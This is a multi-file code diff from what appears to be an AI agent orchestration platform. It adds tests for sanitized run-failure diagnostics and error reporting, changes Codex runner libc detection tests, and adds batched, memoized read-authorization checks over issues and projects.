});
|
||||
|
||||
it("exports only the saved remote recovery stage and reason", () => {
|
||||
const result = sanitizeRunFailureDiagnostics(collectRunFailureDiagnostics(run({
|
||||
errorCode: "runner_remote_process_identity_unavailable", resultJson: {
|
||||
remoteRunnerRecovery: { stage: "identity_marker", reason: "fingerprint_missing",
|
||||
path: "private-path", pid: 123, nonce: "private-nonce", stderr: "private-stderr" },
|
||||
},
|
||||
}), {}));
|
||||
expect(result.execution).toEqual({ remoteRunnerRecoveryStage: "identity_marker", remoteRunnerRecoveryReason: "fingerprint_missing" });
|
||||
expect(result.exceptions).toEqual([]);
|
||||
expect(JSON.stringify(result)).not.toContain("private");
|
||||
for (const value of [null, { stage: "private-stage", reason: "marker_missing" },
|
||||
{ stage: "identity_marker", reason: "private-reason" },
|
||||
Object.defineProperty({}, "stage", { get() { throw new Error("private"); } })]) {
|
||||
expect(collectRunFailureDiagnostics(run({ errorCode: "runner_remote_process_identity_unavailable",
|
||||
resultJson: { remoteRunnerRecovery: value } }), {}).execution).toEqual({});
|
||||
}
|
||||
expect(collectRunFailureDiagnostics(run({ errorCode: "adapter_failed" }), {}).execution).toEqual({});
|
||||
});
|
||||
|
||||
it("exports the remote recovery stage and reason from an error thrown before the result was saved", () => {
|
||||
const thrown = Object.assign(new RemoteRunnerRecoveryError({ stage: "process_verification", reason: "process_not_running" }),
|
||||
{ path: "private-path", pid: 123 });
|
||||
const result = sanitizeRunFailureDiagnostics(collectRunFailureDiagnostics(run({ errorCode: "adapter_failed" }), { error: thrown }));
|
||||
expect(result.execution).toEqual({ remoteRunnerRecoveryStage: "process_verification", remoteRunnerRecoveryReason: "process_not_running" });
|
||||
expect(result.exceptions).toMatchObject([{ code: "runner_remote_process_identity_unavailable" }]);
|
||||
expect(JSON.stringify(result)).not.toContain("private");
|
||||
|
||||
const transport = attachRemoteRunnerRecoveryDiagnostic(new Error("socket closed"),
|
||||
{ stage: "identity_marker", reason: "probe_transport_failed" });
|
||||
expect(collectRunFailureDiagnostics(run({ errorCode: "adapter_failed" }), { error: new Error("wrapped", { cause: transport }) }).execution)
|
||||
.toEqual({ remoteRunnerRecoveryStage: "identity_marker", remoteRunnerRecoveryReason: "probe_transport_failed" });
|
||||
|
||||
const saved = collectRunFailureDiagnostics(run({ errorCode: "runner_remote_process_identity_unavailable",
|
||||
resultJson: { remoteRunnerRecovery: { stage: "identity_marker", reason: "marker_missing" } } }), { error: thrown });
|
||||
expect(saved.execution).toEqual({ remoteRunnerRecoveryStage: "identity_marker", remoteRunnerRecoveryReason: "marker_missing" });
|
||||
expect(collectRunFailureDiagnostics(run({ errorCode: "adapter_failed" }), {
|
||||
error: Object.assign(new Error("runner_remote_process_identity_unavailable"), { code: "runner_remote_process_identity_unavailable",
|
||||
remoteRunnerRecovery: { stage: "private-stage", reason: "marker_missing" } }),
|
||||
}).execution).toEqual({});
|
||||
});
|
||||
|
||||
it("exports which native close barrier failed without tool identities or provider text", () => {
|
||||
const closeFailure = (settlement: unknown) => Object.assign(
|
||||
new Error("provider_transport_failed: runner did not durably suspend before checkpoint"),
|
||||
|
||||
@@ -393,6 +393,89 @@ describeEmbeddedPostgres("reportRunFailure", () => {
|
||||
expect(mockCaptureRunFailure).toHaveBeenCalledOnce();
|
||||
});
|
||||
|
||||
function codexModelCapacityRun(overrides: Partial<typeof heartbeatRuns.$inferSelect> = {}) {
|
||||
return buildRun({
|
||||
error: "ACP agent reported a terminal service failure.\nSelected model is at capacity. Please try a different model.",
|
||||
errorCode: "codex_transient_upstream", executionStage: "dispatching", exitCode: 1, signal: null,
|
||||
resultJson: {
|
||||
errorFamily: "transient_upstream", stopReason: "adapter_failed",
|
||||
terminalSessionFailure: { category: "service", title: "Selected model is at capacity. Please try a different model." },
|
||||
},
|
||||
...overrides,
|
||||
});
|
||||
}
|
||||
|
||||
it("keeps a classified Codex ACP model capacity retry local", async () => {
|
||||
await seedCompanyAndAgent({ adapterType: "codex_local" });
|
||||
for (const phase of [undefined, "execute"] as const) await reportRunFailure(db, codexModelCapacityRun(), { phase });
|
||||
expect(mockCaptureRunFailure).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it.each([
|
||||
{ status: "timed_out" }, { signal: "SIGTERM" }, { errorCode: "acpx_turn_failed" },
|
||||
{ resultJson: { errorFamily: "transient_upstream" } },
|
||||
{ resultJson: { errorFamily: "provider_quota", terminalSessionFailure: { category: "service" } } },
|
||||
{ resultJson: { errorFamily: "transient_upstream", terminalSessionFailure: { category: "connection" } } },
|
||||
])("reports a Codex transient outcome without typed capacity evidence: %j", async (overrides) => {
|
||||
await seedCompanyAndAgent({ adapterType: "codex_local" });
|
||||
await reportRunFailure(db, codexModelCapacityRun(overrides), { phase: "execute" });
|
||||
expect(mockCaptureRunFailure).toHaveBeenCalledOnce();
|
||||
});
|
||||
|
||||
it("reports a Codex ACP model capacity failure during setup or in all mode", async () => {
|
||||
await seedCompanyAndAgent({ adapterType: "codex_local" });
|
||||
await reportRunFailure(db, codexModelCapacityRun(), { phase: "setup" });
|
||||
vi.stubEnv("PAPERCLIP_SENTRY_RUN_FAILURES", "all");
|
||||
await reportRunFailure(db, codexModelCapacityRun(), { phase: "execute" });
|
||||
expect(mockCaptureRunFailure).toHaveBeenCalledTimes(2);
|
||||
});
|
||||
|
||||
function restartInterruptedSetupRun(overrides: Partial<typeof heartbeatRuns.$inferSelect> = {}) {
|
||||
return buildRun({
|
||||
error: "Process lost -- server may have restarted; retrying once",
|
||||
runtimeMode: "legacy", executionStage: "preparing", processPid: null, processGroupId: null,
|
||||
resultJson: {
|
||||
executionRecovery: { kind: "bootstrap", providerWorkStarted: false },
|
||||
processLossDiagnostic: {
|
||||
pidRecorded: false, groupRecorded: false, localCheck: "no_identifiers",
|
||||
retryEligible: true, runPredatesObserver: true,
|
||||
},
|
||||
},
|
||||
...overrides,
|
||||
});
|
||||
}
|
||||
|
||||
it("keeps a retried restart interruption of legacy setup local", async () => {
|
||||
await seedCompanyAndAgent({ adapterType: "paperclip_runner" });
|
||||
await reportRunFailure(db, restartInterruptedSetupRun());
|
||||
expect(mockCaptureRunFailure).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("reports a retried restart interruption of legacy setup in all mode", async () => {
|
||||
vi.stubEnv("PAPERCLIP_SENTRY_RUN_FAILURES", "all");
|
||||
await seedCompanyAndAgent({ adapterType: "paperclip_runner" });
|
||||
await reportRunFailure(db, restartInterruptedSetupRun());
|
||||
expect(mockCaptureRunFailure).toHaveBeenCalledOnce();
|
||||
});
|
||||
|
||||
it.each([
|
||||
{ executionStage: "dispatching" }, { runtimeMode: "native" }, { processPid: 4242 },
|
||||
{ errorCode: "adapter_failed" },
|
||||
{ resultJson: { processLossDiagnostic: { localCheck: "no_identifiers", retryEligible: true, runPredatesObserver: true } } },
|
||||
{ resultJson: {
|
||||
executionRecovery: { kind: "bootstrap", providerWorkStarted: false },
|
||||
processLossDiagnostic: { localCheck: "no_identifiers", retryEligible: false, runPredatesObserver: true },
|
||||
} },
|
||||
{ resultJson: {
|
||||
executionRecovery: { kind: "bootstrap", providerWorkStarted: false },
|
||||
processLossDiagnostic: { localCheck: "no_identifiers", retryEligible: true, runPredatesObserver: false },
|
||||
} },
|
||||
])("reports process loss without restart-before-dispatch evidence: %j", async (overrides) => {
|
||||
await seedCompanyAndAgent({ adapterType: "paperclip_runner" });
|
||||
await reportRunFailure(db, restartInterruptedSetupRun(overrides));
|
||||
expect(mockCaptureRunFailure).toHaveBeenCalledOnce();
|
||||
});
|
||||
|
||||
async function expiredGrokOffer(input: {
|
||||
wakes: Array<{ status: "rejected" | "accepted" | "acknowledged" | "unknown"; httpStatus: number | null }>;
|
||||
acceptedAt?: Date | null;
|
||||
@@ -893,6 +976,27 @@ describeEmbeddedPostgres("reportRunFailure", () => {
|
||||
cancellationSource: "controller_lease", cancellationExpected: false, controllerLeaseLossCause: "renewal_deadline" } } });
|
||||
expect(JSON.stringify(mockCaptureRunFailure.mock.calls)).not.toMatch(/Legacy controller lease lost/);
|
||||
});
|
||||
it("reports bounded lease-loss timings for a setup failure", async () => {
|
||||
await seedCompanyAndAgent();
|
||||
await reportRunFailure(db, buildRun({ status: "failed", errorCode: "setup_failed", startedAt: new Date(0),
|
||||
finishedAt: new Date(1000), resultJson: { controllerLeaseLoss: { cause: "renewal_deadline",
|
||||
sinceRenewalMs: 61_000.4, renewalPendingMs: 59_000, deadlineLateMs: 1e12, renewalCount: -1, note: "private-note" } } }));
|
||||
expect(mockCaptureRunFailure).toHaveBeenCalledOnce();
|
||||
const execution = mockCaptureRunFailure.mock.calls[0][0].diagnostics.execution;
|
||||
expect(execution).toMatchObject({ controllerLeaseLossCause: "renewal_deadline", controllerLeaseSinceRenewalMs: 61_000,
|
||||
controllerLeaseRenewalPendingMs: 59_000, controllerLeaseDeadlineLateMs: 86_400_000 });
|
||||
expect(execution).not.toHaveProperty("controllerLeaseRenewalCount");
|
||||
expect(JSON.stringify(mockCaptureRunFailure.mock.calls)).not.toMatch(/private-note/);
|
||||
});
|
||||
it("drops lease-loss timings without a closed cause", async () => {
|
||||
await seedCompanyAndAgent();
|
||||
await reportRunFailure(db, buildRun({ status: "failed", errorCode: "setup_failed", startedAt: new Date(0),
|
||||
finishedAt: new Date(1000), resultJson: { controllerLeaseLoss: { cause: "forged", sinceRenewalMs: 1 } } }));
|
||||
expect(mockCaptureRunFailure).toHaveBeenCalledOnce();
|
||||
const execution = mockCaptureRunFailure.mock.calls[0][0].diagnostics.execution;
|
||||
expect(execution).not.toHaveProperty("controllerLeaseLossCause");
|
||||
expect(execution).not.toHaveProperty("controllerLeaseSinceRenewalMs");
|
||||
});
|
||||
it("does not report an operator's Stop as a failure", async () => {
|
||||
await seedCompanyAndAgent();
|
||||
await reportRunFailure(db, buildRun({ status: "cancelled", startedAt: new Date(0), resultJson: {
|
||||
|
||||
@@ -412,6 +412,7 @@ export function activityService(db: Db) {
|
||||
.select({
|
||||
runId: heartbeatRuns.id,
|
||||
runtimeMode: heartbeatRuns.runtimeMode,
|
||||
wakeupRequestId: heartbeatRuns.wakeupRequestId,
|
||||
status: heartbeatRuns.status,
|
||||
agentId: heartbeatRuns.agentId,
|
||||
adapterType: agents.adapterType,
|
||||
@@ -440,6 +441,7 @@ export function activityService(db: Db) {
|
||||
lastUsefulActionAt: heartbeatRuns.lastUsefulActionAt,
|
||||
nextAction: heartbeatRuns.nextAction,
|
||||
wakeCommentIds: sql<string[] | null>`${heartbeatRuns.contextSnapshot} -> 'wakeCommentIds'`,
|
||||
queuedCommentSourceWakeIds: sql<string[] | null>`${heartbeatRuns.contextSnapshot} -> 'queuedCommentSourceWakeIds'`,
|
||||
wakeCommentId: sql<string | null>`${heartbeatRuns.contextSnapshot} ->> 'wakeCommentId'`,
|
||||
contextCommentId: sql<string | null>`${heartbeatRuns.contextSnapshot} ->> 'commentId'`,
|
||||
contextIssueId: sql<string | null>`${heartbeatRuns.contextSnapshot} ->> 'issueId'`,
|
||||
|
||||
@@ -11,7 +11,7 @@ vi.mock("@paperclipai/adapter-utils/ssh", () => ({ runSshCommand: state.ssh }));
|
||||
import { AGENT_RUNNER_SSH_PLATFORM_COMMAND, agentRunnerAvailability, resolveAgentRunnerTargetForCompany, resolveNewAgentRunner, resolveNewAgentRunnerForCompany } from "./agent-runner-selection.js";
|
||||
import { buildCodexAcpConfig, resolveCodexExecutionEngine } from "@paperclipai/adapter-codex-local/server";
|
||||
import { secretService } from "./secrets.js";
|
||||
import { localAgentRunnerTarget } from "../lib/agent-runner-platform.js";
|
||||
import * as localPlatform from "../lib/agent-runner-platform.js";
|
||||
const target = { driver: "local", platform: "linux", architecture: "x64" };
|
||||
const qualifiedTargets = [target, { driver: "local", platform: "linux", architecture: "arm64" }, { driver: "local", platform: "darwin", architecture: "arm64" }, { driver: "local", platform: "darwin", architecture: "x64" }];
|
||||
const originalPlatform = Object.getOwnPropertyDescriptor(process, "platform")!;
|
||||
@@ -33,13 +33,12 @@ describe("server-owned Codex runner selection", () => {
|
||||
expect(agentRunnerAvailability("codex_local", { ...target, libc: "glibc" }).defaultRunner).toBe("paperclip");
|
||||
}
|
||||
});
|
||||
it.each([[undefined, false], ["2.38", false], ["2.39", true], ["3.0", true], [" 2.39 ", true], ["malformed", false], ["", false]] as const)("uses the measured local Node libc version (%s) for creation", async (glibcVersionRuntime, native) => {
|
||||
it.each([[undefined, false], ["2.38", false], ["2.39", true], ["3.0", true], [" 2.39 ", true], ["malformed", false], ["", false]] as const)("uses the measured local libc version (%s) for creation", async (glibcVersionRuntime, native) => {
|
||||
Object.defineProperty(process, "platform", { ...originalPlatform, value: "linux" });
|
||||
Object.defineProperty(process, "arch", { ...originalArchitecture, value: "arm64" });
|
||||
vi.spyOn(process.report, "getReport").mockReturnValue({ header: { glibcVersionRuntime }, environmentVariables: { PRIVATE_SENTINEL: "do-not-retain" } } as never);
|
||||
const localTarget = localAgentRunnerTarget();
|
||||
vi.spyOn(localPlatform, "localAgentRunnerTarget").mockReturnValue({ driver: "local", platform: "linux", architecture: "arm64", libc: glibcVersionRuntime ? "glibc" : "unknown", ...(glibcVersionRuntime ? { glibcVersion: glibcVersionRuntime.trim() } : {}) });
|
||||
const localTarget = localPlatform.localAgentRunnerTarget();
|
||||
expect(localTarget).toEqual({ driver: "local", platform: "linux", architecture: "arm64", libc: glibcVersionRuntime ? "glibc" : "unknown", ...(glibcVersionRuntime ? { glibcVersion: glibcVersionRuntime.trim() } : {}) });
|
||||
expect(JSON.stringify(localTarget)).not.toContain("do-not-retain");
|
||||
expect(agentRunnerAvailability("codex_local").defaultRunner).toBe(native ? "paperclip" : "legacy");
|
||||
const saved = await resolveNewAgentRunnerForCompany({} as never, "company", { adapterType: "codex_local" });
|
||||
expect(saved.adapterType).toBe(native ? "paperclip_runner" : "codex_local");
|
||||
@@ -61,10 +60,10 @@ describe("server-owned Codex runner selection", () => {
|
||||
expect(resolveNewAgentRunner(saved)).toEqual({ adapterType: saved.adapterType, adapterConfig: saved.adapterConfig });
|
||||
}
|
||||
});
|
||||
it("keeps an unidentified local Linux libc legacy if Node's report is unavailable", () => {
|
||||
it("keeps an unidentified local Linux libc legacy if the platform probe is unavailable", () => {
|
||||
Object.defineProperty(process, "platform", { ...originalPlatform, value: "linux" });
|
||||
vi.spyOn(process.report, "getReport").mockImplementation(() => { throw new Error("private-report-details"); });
|
||||
expect(localAgentRunnerTarget()).toMatchObject({ libc: "unknown" });
|
||||
vi.spyOn(localPlatform, "localAgentRunnerTarget").mockReturnValue({ driver: "local", platform: "linux", architecture: "x64", libc: "unknown" });
|
||||
expect(localPlatform.localAgentRunnerTarget()).toMatchObject({ libc: "unknown" });
|
||||
expect(agentRunnerAvailability("codex_local").defaultRunner).toBe("legacy");
|
||||
});
|
||||
it.each(qualifiedTargets)("uses native Codex automatically with compatible configuration and is idempotent on $platform/$architecture", target => {
|
||||
|
||||
@@ -2,6 +2,7 @@ import { and, eq, inArray, isNull, or, sql, type SQL } from "drizzle-orm";
|
||||
import type { Db } from "@paperclipai/db";
|
||||
import { withHumanDirectedWork } from "./human-directed-work.js";
|
||||
import { hasOwnerChatInstructionAuthority } from "./owner-chat-instruction-authority.js";
|
||||
import { canonicalExecutionUuid } from "./execution-identity.js";
|
||||
import {
|
||||
agents,
|
||||
approvals,
|
||||
@@ -728,19 +729,89 @@ export function authorizationDeniedDetails(decision: AuthorizationDecision) {
|
||||
|
||||
type DbTransaction = Parameters<Parameters<Db["transaction"]>[0]>[0];
|
||||
|
||||
type ReadAuthorizationSnapshot = {
|
||||
issues: Map<string, IssueAuthorizationRow & IssuePrivacyRow & { readable: boolean }>;
|
||||
projects: Map<string, ProjectAuthorizationRow & ProjectPrivacyRow & { readable: boolean }>;
|
||||
memo: Map<string, Promise<unknown>>;
|
||||
};
|
||||
|
||||
type ReadAuthorizationResource = Extract<AuthorizationResource, { type: "issue" | "project" | "company" }>;
|
||||
|
||||
export function authorizationService(db: Db | DbTransaction) {
|
||||
return createAuthorizationService(db);
|
||||
}
|
||||
|
||||
function createAuthorizationService(db: Db | DbTransaction, readSnapshot?: ReadAuthorizationSnapshot) {
|
||||
function batchRead<T>(key: string, read: () => Promise<T>): Promise<T> {
|
||||
if (!readSnapshot) return read();
|
||||
let result = readSnapshot.memo.get(key);
|
||||
if (!result) { result = read(); readSnapshot.memo.set(key, result); }
|
||||
return result as Promise<T>;
|
||||
}
|
||||
|
||||
async function decideReads(actor: AuthorizationActor, resources: ReadAuthorizationResource[]): Promise<AuthorizationDecision[]> {
|
||||
return (await decideReadsForActors([actor], resources))[0];
|
||||
}
|
||||
|
||||
async function decideReadsForActors(actors: AuthorizationActor[], resources: ReadAuthorizationResource[]): Promise<AuthorizationDecision[][]> {
|
||||
if (!actors.length) return [];
|
||||
const snapshots: ReadAuthorizationSnapshot[] = actors.map(() => ({ issues: new Map(), projects: new Map(), memo: new Map() }));
|
||||
const batchActors: ResponsibleUserActorWithMemo[] = actors.map(actor => ({ ...actor, __responsibleUserSnapshotMemo: undefined }));
|
||||
const privacyKey = (actor: AuthorizationActor) => JSON.stringify([actor.type, actor.agentId, actor.userId, actor.onBehalfOfUserId]);
|
||||
const privacyActors = [...new Map(batchActors.map(actor => [privacyKey(actor), actor])).values()];
|
||||
const privacyIndexes = batchActors.map(actor => privacyActors.findIndex(peer => privacyKey(peer) === privacyKey(actor)));
|
||||
const issueIds = [...new Set(resources.flatMap(resource => resource.type === "issue" && resource.issueId ? [resource.issueId] : []))];
|
||||
const projectIds = new Set(resources.flatMap(resource => resource.type === "project" && resource.projectId ? [resource.projectId]
|
||||
: resource.type === "issue" && resource.projectId ? [resource.projectId] : []));
|
||||
for (let offset = 0; offset < issueIds.length; offset += 500) {
|
||||
const rows = await db.select({
|
||||
id: issues.id, companyId: issues.companyId, projectId: issues.projectId, parentId: issues.parentId,
|
||||
assigneeAgentId: issues.assigneeAgentId, assigneeUserId: issues.assigneeUserId, checkoutRunId: issues.checkoutRunId,
|
||||
status: issues.status, executionPolicy: issues.executionPolicy, originKind: issues.originKind, originId: issues.originId,
|
||||
visibility: issues.visibility, privacyRootIssueId: issues.privacyRootIssueId,
|
||||
responsibleUserId: issues.responsibleUserId, createdByUserId: issues.createdByUserId,
|
||||
readable: sql<boolean[]>`ARRAY[${sql.join(privacyActors.map(actor => issuePrivacyCondition(actor)), sql`, `)}]`,
|
||||
}).from(issues).where(inArray(issues.id, issueIds.slice(offset, offset + 500)));
|
||||
for (const row of rows) {
|
||||
for (let index = 0; index < snapshots.length; index++) snapshots[index].issues.set(row.id, { ...row, readable: row.readable[privacyIndexes[index]] });
|
||||
if (row.projectId) projectIds.add(row.projectId);
|
||||
}
|
||||
}
|
||||
const ids = [...projectIds];
|
||||
for (let offset = 0; offset < ids.length; offset += 500) {
|
||||
const rows = await db.select({ id: projects.id, companyId: projects.companyId,
|
||||
executionWorkspacePolicy: projects.executionWorkspacePolicy, visibility: projects.visibility,
|
||||
readable: sql<boolean[]>`ARRAY[${sql.join(privacyActors.map(actor => projectPrivacyCondition(actor)), sql`, `)}]`,
|
||||
}).from(projects).where(inArray(projects.id, ids.slice(offset, offset + 500)));
|
||||
for (const row of rows) for (let index = 0; index < snapshots.length; index++) {
|
||||
snapshots[index].projects.set(row.id, { ...row, readable: row.readable[privacyIndexes[index]] });
|
||||
}
|
||||
}
|
||||
const results: AuthorizationDecision[][] = [];
|
||||
for (let index = 0; index < batchActors.length; index++) {
|
||||
const batch = createAuthorizationService(db, snapshots[index]);
|
||||
const decisions: AuthorizationDecision[] = [];
|
||||
for (const resource of resources) decisions.push(await batch.decide({ actor: batchActors[index], resource,
|
||||
action: resource.type === "issue" ? "issue:read" : resource.type === "project" ? "project:read" : "company_scope:read" }));
|
||||
results.push(decisions);
|
||||
}
|
||||
return results;
|
||||
}
|
||||
|
||||
async function isInstanceAdmin(userId: string | null | undefined): Promise<boolean> {
|
||||
if (!userId) return false;
|
||||
if (
|
||||
await db
|
||||
.select({ id: instanceUserRoles.id })
|
||||
.from(instanceUserRoles)
|
||||
.where(and(eq(instanceUserRoles.userId, userId), eq(instanceUserRoles.role, "instance_admin")))
|
||||
.then((rows) => rows[0] ?? null)
|
||||
) {
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
return batchRead(`admin:${userId}`, async () => {
|
||||
if (
|
||||
await db
|
||||
.select({ id: instanceUserRoles.id })
|
||||
.from(instanceUserRoles)
|
||||
.where(and(eq(instanceUserRoles.userId, userId), eq(instanceUserRoles.role, "instance_admin")))
|
||||
.then((rows) => rows[0] ?? null)
|
||||
) {
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
});
|
||||
}
|
||||
|
||||
async function getActiveMembership(
|
||||
@@ -748,18 +819,20 @@ export function authorizationService(db: Db | DbTransaction) {
|
||||
principalType: PrincipalType,
|
||||
principalId: string,
|
||||
) {
|
||||
return db
|
||||
.select()
|
||||
.from(companyMemberships)
|
||||
.where(
|
||||
and(
|
||||
eq(companyMemberships.companyId, companyId),
|
||||
eq(companyMemberships.principalType, principalType),
|
||||
eq(companyMemberships.principalId, principalId),
|
||||
eq(companyMemberships.status, "active"),
|
||||
),
|
||||
)
|
||||
.then((rows) => rows[0] ?? null);
|
||||
return batchRead(`membership:${companyId}:${principalType}:${principalId}`, async () => {
|
||||
return db
|
||||
.select()
|
||||
.from(companyMemberships)
|
||||
.where(
|
||||
and(
|
||||
eq(companyMemberships.companyId, companyId),
|
||||
eq(companyMemberships.principalType, principalType),
|
||||
eq(companyMemberships.principalId, principalId),
|
||||
eq(companyMemberships.status, "active"),
|
||||
),
|
||||
)
|
||||
.then((rows) => rows[0] ?? null);
|
||||
});
|
||||
}
|
||||
|
||||
async function loadResponsibleUserSnapshot(companyId: string, userId: string): Promise<ResponsibleUserSnapshot> {
|
||||
@@ -920,21 +993,24 @@ export function authorizationService(db: Db | DbTransaction) {
|
||||
}
|
||||
|
||||
async function loadAgent(agentId: string): Promise<AgentAuthorizationRow | null> {
|
||||
return db
|
||||
.select({
|
||||
id: agents.id,
|
||||
companyId: agents.companyId,
|
||||
role: agents.role,
|
||||
status: agents.status,
|
||||
reportsTo: agents.reportsTo,
|
||||
permissions: agents.permissions,
|
||||
})
|
||||
.from(agents)
|
||||
.where(eq(agents.id, agentId))
|
||||
.then((rows) => rows[0] ?? null);
|
||||
return batchRead(`agent:${agentId}`, async () => {
|
||||
return db
|
||||
.select({
|
||||
id: agents.id,
|
||||
companyId: agents.companyId,
|
||||
role: agents.role,
|
||||
status: agents.status,
|
||||
reportsTo: agents.reportsTo,
|
||||
permissions: agents.permissions,
|
||||
})
|
||||
.from(agents)
|
||||
.where(eq(agents.id, agentId))
|
||||
.then((rows) => rows[0] ?? null);
|
||||
});
|
||||
}
|
||||
|
||||
async function loadProject(projectId: string): Promise<ProjectAuthorizationRow | null> {
|
||||
if (readSnapshot?.projects.has(projectId)) return readSnapshot.projects.get(projectId)!;
|
||||
return db
|
||||
.select({
|
||||
id: projects.id,
|
||||
@@ -947,6 +1023,7 @@ export function authorizationService(db: Db | DbTransaction) {
|
||||
}
|
||||
|
||||
async function loadIssue(issueId: string): Promise<IssueAuthorizationRow | null> {
|
||||
if (readSnapshot?.issues.has(issueId)) return readSnapshot.issues.get(issueId)!;
|
||||
return db
|
||||
.select({
|
||||
id: issues.id,
|
||||
@@ -967,22 +1044,25 @@ export function authorizationService(db: Db | DbTransaction) {
|
||||
}
|
||||
|
||||
async function loadRunPolicy(runId: string | null | undefined, companyId: string, agentId: string) {
|
||||
if (!runId) return null;
|
||||
const row = await db
|
||||
.select({
|
||||
id: heartbeatRuns.id,
|
||||
companyId: heartbeatRuns.companyId,
|
||||
agentId: heartbeatRuns.agentId,
|
||||
contextSnapshot: heartbeatRuns.contextSnapshot,
|
||||
})
|
||||
.from(heartbeatRuns)
|
||||
.where(eq(heartbeatRuns.id, runId))
|
||||
.then((rows) => rows[0] ?? null);
|
||||
if (!row || row.companyId !== companyId || row.agentId !== agentId) return null;
|
||||
const context = isPlainRecord(row.contextSnapshot) ? row.contextSnapshot : null;
|
||||
return isPlainRecord(context?.executionPolicy)
|
||||
? { companyId: row.companyId, executionPolicy: context.executionPolicy }
|
||||
: null;
|
||||
return batchRead(`run:${companyId}:${agentId}:${runId}`, async () => {
|
||||
if (!runId) return null;
|
||||
const row = await db
|
||||
.select({
|
||||
id: heartbeatRuns.id,
|
||||
companyId: heartbeatRuns.companyId,
|
||||
agentId: heartbeatRuns.agentId,
|
||||
contextSnapshot: sql<Record<string, unknown>>`jsonb_build_object('executionPolicy', ${heartbeatRuns.contextSnapshot}->'executionPolicy')`,
|
||||
})
|
||||
.from(heartbeatRuns)
|
||||
.where(eq(heartbeatRuns.id, runId))
|
||||
.then((rows) => rows[0] ?? null);
|
||||
if (!row || row.companyId !== companyId || row.agentId !== agentId) return null;
|
||||
const context = isPlainRecord(row.contextSnapshot) ? row.contextSnapshot : null;
|
||||
return isPlainRecord(context?.executionPolicy)
|
||||
? { companyId: row.companyId, executionPolicy: context.executionPolicy }
|
||||
: null;
|
||||
});
|
||||
|
||||
}
|
||||
|
||||
async function loadRunIssueId(runId: string | null | undefined, companyId: string, agentId: string) {
|
||||
@@ -991,7 +1071,7 @@ export function authorizationService(db: Db | DbTransaction) {
|
||||
.select({
|
||||
companyId: heartbeatRuns.companyId,
|
||||
agentId: heartbeatRuns.agentId,
|
||||
contextSnapshot: heartbeatRuns.contextSnapshot,
|
||||
contextSnapshot: sql<Record<string, unknown>>`jsonb_build_object('issueId', ${heartbeatRuns.contextSnapshot}->'issueId', 'taskId', ${heartbeatRuns.contextSnapshot}->'taskId')`,
|
||||
})
|
||||
.from(heartbeatRuns)
|
||||
.where(eq(heartbeatRuns.id, runId))
|
||||
@@ -2663,12 +2743,14 @@ export function authorizationService(db: Db | DbTransaction) {
|
||||
&& intersectedDecision.reason !== "allow_local_board"
|
||||
&& issuePrivacyMode() !== "off"
|
||||
) {
|
||||
const project = await db
|
||||
const retainedProject = readSnapshot?.projects.get(input.resource.projectId);
|
||||
const project = retainedProject?.companyId === input.resource.companyId ? retainedProject : await db
|
||||
.select({ id: projects.id, companyId: projects.companyId, visibility: projects.visibility })
|
||||
.from(projects)
|
||||
.where(and(eq(projects.id, input.resource.projectId), eq(projects.companyId, input.resource.companyId)))
|
||||
.then((rows) => rows[0] ?? null);
|
||||
if (project && !(await canActorReadProjectPrivacy(db, input.actor, project))) {
|
||||
if (project && !(retainedProject?.companyId === input.resource.companyId
|
||||
? retainedProject.readable : await canActorReadProjectPrivacy(db, input.actor, project))) {
|
||||
const denied = deny({
|
||||
action: input.action,
|
||||
reason: "deny_project_private",
|
||||
@@ -2697,7 +2779,8 @@ export function authorizationService(db: Db | DbTransaction) {
|
||||
|| issuePrivacyMode() === "off"
|
||||
) return intersectedDecision;
|
||||
|
||||
const issue = await db
|
||||
const retainedIssue = readSnapshot?.issues.get(input.resource.issueId);
|
||||
const issue = retainedIssue?.companyId === input.resource.companyId ? retainedIssue : await db
|
||||
.select({
|
||||
id: issues.id,
|
||||
companyId: issues.companyId,
|
||||
@@ -2712,7 +2795,8 @@ export function authorizationService(db: Db | DbTransaction) {
|
||||
.from(issues)
|
||||
.where(and(eq(issues.id, input.resource.issueId), eq(issues.companyId, input.resource.companyId)))
|
||||
.then((rows) => rows[0] ?? null);
|
||||
if (!issue || await canActorReadIssuePrivacy(db, input.actor, issue)) return intersectedDecision;
|
||||
if (!issue || (retainedIssue?.companyId === input.resource.companyId
|
||||
? retainedIssue.readable : await canActorReadIssuePrivacy(db, input.actor, issue))) return intersectedDecision;
|
||||
|
||||
const denied = deny({
|
||||
action: input.action,
|
||||
@@ -2754,6 +2838,8 @@ export function authorizationService(db: Db | DbTransaction) {
|
||||
|
||||
return {
|
||||
decide,
|
||||
decideReads,
|
||||
decideReadsForActors,
|
||||
projectDiscoveryCandidateIds,
|
||||
decidePrincipalGrant,
|
||||
};
|
||||
@@ -2769,7 +2855,7 @@ export async function executionWorkspaceReadSqlCondition(db: Db | DbTransaction,
|
||||
select 1 from ${projects} where ${projects.id} = ${executionWorkspaces.projectId}
|
||||
and ${projects.companyId} = ${executionWorkspaces.companyId} and ${projectCondition}))
|
||||
and not exists (select 1 from jsonb_object_keys(coalesce(${executionWorkspaces.metadata}->'_issuePrivacySources', '{}'::jsonb)) source(id)
|
||||
where not exists (select 1 from ${issues} where ${issues.id}::text = source.id
|
||||
where not exists (select 1 from ${issues} where ${issues.id} = ${canonicalExecutionUuid(sql`source.id`)}
|
||||
and ${issues.companyId} = ${executionWorkspaces.companyId} and ${issueCondition}))
|
||||
and not exists (select 1 from ${issues}
|
||||
where ${issues.companyId} = ${executionWorkspaces.companyId}
|
||||
|
||||
@@ -6143,6 +6143,8 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo
|
||||
companyId: string,
|
||||
options: RuntimeSkillEntryOptions = {},
|
||||
): Promise<PaperclipSkillEntry[]> {
|
||||
if (options.onlyKeys?.size === 0 || (!options.onlyKeys && options.selectionConfig && !options.includeLegacy
|
||||
&& readPaperclipSkillSyncPreference(options.selectionConfig).desiredSkills.length === 0)) return [];
|
||||
const skills = await listFull(companyId);
|
||||
const selectedKeys = options.onlyKeys ?? (options.selectionConfig ? new Set(
|
||||
(options.includeLegacy ? resolveLegacyPaperclipDesiredSkillNames : resolvePaperclipDesiredSkillNames)(
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import { uploadSchema, type PublicMcpTransfers } from "./public-mcp/file-transfers.js";
|
||||
import { grokRoutineService, grokWakeAcknowledgementSchema } from "./grok-bot/routine.js";
|
||||
